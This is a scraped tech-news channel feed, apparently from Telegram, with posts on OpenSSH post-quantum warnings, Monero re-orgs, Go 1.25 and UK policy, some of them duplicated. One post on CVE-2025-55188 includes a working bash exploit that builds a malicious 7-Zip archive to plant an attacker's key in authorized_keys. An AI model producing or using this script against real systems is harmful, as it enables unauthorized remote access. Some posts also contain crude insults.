OpenSSH Post-Quantum Cryptography
Article, Comments
Article, Comments
I received a warning from ssh that directed me to this page. What should I do?
As mentioned above, OpenSSH 10.1 started warning users when connections use cryptography that is not safe against quantum computers. If you received such a warning, it means that the server you connected to did not offer one of the two post-quantum key agreement algorithms that are being standardised for the SSH protocol: mlkem768x25519-sha256 and sntrup761x25519-sha512
The ideal solution is to update the server to use an SSH implementation that supports at least one of these. OpenSSH versions 9.0 and greater support sntrup761x25519-sha512 and versions 9.9 and greater support mlkem768x25519-sha256. If your server is already running one of these versions, then check whether the KexAlgorithms option has disabled their use.
If you are unable to update the server and/or you prefer to accept the risk of continuing to use quantum-unsafe cryptography then the warning may be silenced via the WarnWeakCrypto option in ssh_config(5). We recommend doing this selectively, for example:
Match host unsafe.example.com
WarnWeakCrypto no
Do It by Code
CVE-2025-55188: 7-Zip: Arbitrary file write on extraction, may lead to code execution Affected versions: 7-Zip prior to 25.01 Extracting a maliciously-crafted archive with 7-Zip prior to 25.01 allows for arbitrary file write, which may lead to arbitrary…
#!/bin/bash
if [ "$#" -ne 3 ]; then
echo "Usage: $0 <payload_file> <target_symlink_path> <output_archive>"
echo "Example: $0 mykey.pub ../../.ssh/authorized_keys exploit.7z"
exit 1
fi
PAYLOAD="$1"
TARGET="$2"
OUT="$3"
WORKDIR=$(mktemp -d)
ln -s "$TARGET" "$WORKDIR/symlink"
cp "$PAYLOAD" "$WORKDIR/symlink"
tar --sort=name -cf "$WORKDIR/exploit.tar" -C "$WORKDIR" symlink
7z a "$OUT" "$WORKDIR/exploit.tar" >/dev/null
echo "[*] Exploit archive created: $OUT"
rm -rf "$WORKDIR"
Source
https://moneroconsensus.info/
but yes this looks quite bad
#xmr #monero
A 6 re-org does not mean a '51% attack' was successful. In that case, we'd see unbounded-depth re-orgs/no blocks mined by any other mining pool (assuming the adversary censors other mining pools, as this one does).
It does mean an adversary with a high amount of hash got "lucky" (or maybe they are just too rich?)
https://moneroconsensus.info/
but yes this looks quite bad
#xmr #monero
Do It by Code
GitHub is no longer independent at Microsoft after CEO resignation Article, Comments
it didn't take long for them to start ruining github
gg
gg
Go 1.25
Go 1.25 release includes changes in toolchain, runtime, and libraries with no language changes affecting Go programs, maintaining the Go 1 promise of compatibility. The release introduces new features such as a lightweight execution trace, improved garbage collector, and new JSON implementation, while also fixing a compiler bug and improving performance in various areas.
Forwarded from vx-underground
The United Kingdom government says it needs to utilize "Facial Recognition" vans and the "Online Safety Act" to protect you and your children from criminals and dangerous things online.
Meanwhile, the government suggests deleting e-mails to save water.
Actual fucking morons
Meanwhile, the government suggests deleting e-mails to save water.
Actual fucking morons
Forwarded from vx-underground
vx-underground
The United Kingdom government says it needs to utilize "Facial Recognition" vans and the "Online Safety Act" to protect you and your children from criminals and dangerous things online. Meanwhile, the government suggests deleting e-mails to save water. Actual…
This is real. They're actually this fucking stupid.
https://www.gov.uk/government/news/national-drought-group-meets-to-address-nationally-significant-water-shortfall
https://www.gov.uk/government/news/national-drought-group-meets-to-address-nationally-significant-water-shortfall
GOV.UK
National Drought Group meets to address “nationally significant” water shortfall
Five areas remain in drought with six more in prolonged dry weather
Kitten TTS – 25MB CPU-Only, Open-Source TTS Model
🔸Kitten TTS is an open-source realistic text-to-speech model with just 15 million parameters, designed for lightweight deployment and high-quality voice synthesis.
🔸Kitten TTS is an open-source realistic text-to-speech model with just 15 million parameters, designed for lightweight deployment and high-quality voice synthesis.
Forwarded from Volunteer Support
Footer:
#premium_premiumbot | #CountryRu | #android (#Sdk31) | #Xiaomim2102j20sg | #app6 (Android, #v9_3_3_30262 #androidplaymarket) #tq1325937002 | #dc2 | #start
#premium_premiumbot | #CountryRu | #android (#Sdk31) | #Xiaomim2102j20sg | #app6 (Android, #v9_3_3_30262 #androidplaymarket) #tq1325937002 | #dc2 | #start